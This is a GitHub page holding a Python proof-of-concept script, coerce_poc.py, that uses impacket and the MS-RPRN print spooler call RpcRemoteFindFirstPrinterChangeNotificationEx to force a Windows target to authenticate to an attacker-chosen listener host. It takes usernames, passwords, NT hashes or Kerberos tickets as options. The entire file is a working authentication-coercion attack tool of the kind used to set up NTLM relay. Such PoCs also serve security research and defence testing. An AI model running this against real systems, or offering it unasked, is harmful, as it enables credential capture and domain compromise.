-
-
Notifications
You must be signed in to change notification settings - Fork 61
/
coerce_poc.py
165 lines (133 loc) · 6.73 KB
/
coerce_poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : coerce_poc.py
# Author : Podalirius (@podalirius_)
# Date created : 9 Jul 2022
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SessionError: unknown error code: 0x%x' % self.error_code
class RPCProtocol(object):
"""
Documentation for class RPCProtocol
"""
uuid = None
version = None
pipe = None
ncan_target = None
__rpctransport = None
dce = None
target = None
def __init__(self):
super(RPCProtocol, self).__init__()
def connect(self, username, password, domain, lmhash, nthash, target, dcHost, doKerberos=False, targetIp=None):
self.target = target
self.ncan_target = r'ncacn_np:%s[%s]' % (target, self.pipe)
self.__rpctransport = transport.DCERPCTransportFactory(self.ncan_target)
if hasattr(self.__rpctransport, 'set_credentials'):
self.__rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash
)
if doKerberos == True:
self.__rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp is not None:
self.__rpctransport.setRemoteHost(targetIp)
self.dce = self.__rpctransport.get_dce_rpc()
self.dce.set_auth_type(RPC_C_AUTHN_WINNT)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[>] Connecting to %s ... " % self.ncan_target, end="")
sys.stdout.flush()
try:
self.dce.connect()
except Exception as e:
print("\x1b[1;91mfail\x1b[0m")
print("[!] Something went wrong, check error status => %s" % str(e))
return False
else:
print("\x1b[1;92msuccess\x1b[0m")
print("[>] Binding to <uuid='%s', version='%s'> ... " % (self.uuid, self.version), end="")
sys.stdout.flush()
try:
self.dce.bind(uuidtup_to_bin((self.uuid, self.version)))
except Exception as e:
print("\x1b[1;91mfail\x1b[0m")
print("[!] Something went wrong, check error status => %s" % str(e))
return False
else:
print("\x1b[1;92msuccess\x1b[0m")
return True
class MS_RPRN(RPCProtocol):
uuid = "12345678-1234-abcd-ef00-0123456789ab"
version = "1.0"
pipe = r"\PIPE\spoolss"
def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener):
if self.dce is not None:
print("[>] Calling RpcRemoteFindFirstPrinterChangeNotificationEx() ...")
try:
resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request['hPrinter'] = resp['pHandle']
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
request['pszLocalMachine'] = '\\\\%s\x00' % listener
request['pOptions'] = NULL
# request.dump()
resp = self.dce.request(request)
except Exception as e:
print(e)
else:
print("[!] Error: dce is None, you must call connect() first.")
if __name__ == '__main__':
print("Windows auth coerce using MS-RPRN::RpcRemoteFindFirstPrinterChangeNotificationEx()\n")
parser = argparse.ArgumentParser(add_help=True, description="Proof of concept for coercing authentication with MS-RPRN::RpcRemoteFindFirstPrinterChangeNotificationEx()")
parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")
parser.add_argument("listener", help="IP address or hostname of listener")
parser.add_argument("target", help="IP address or hostname of target")
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash, nthash = '', ''
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
protocol = MS_RPRN()
connected = protocol.connect(
username=options.username,
password=options.password,
domain=options.domain,
lmhash=lmhash,
nthash=nthash,
target=options.target,
doKerberos=options.kerberos,
dcHost=options.dc_ip,
targetIp=options.target_ip
)
if connected:
protocol.RpcRemoteFindFirstPrinterChangeNotificationEx(options.listener)
sys.exit()